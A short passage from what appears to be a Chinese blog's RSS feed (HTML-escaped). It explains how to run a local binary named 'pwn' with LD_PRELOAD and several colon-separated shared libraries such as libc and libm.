# 示例 LD_PRELOAD=./libm.so.6 ./pwn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你要引入多个，使用  &lt;code&gt;:&lt;/code&gt;  隔开&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LD_PRELOAD=./libc.so.6:./libstdc++.so.6:./libm.so.6:./libgcc_s.so.1 ./pwn
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>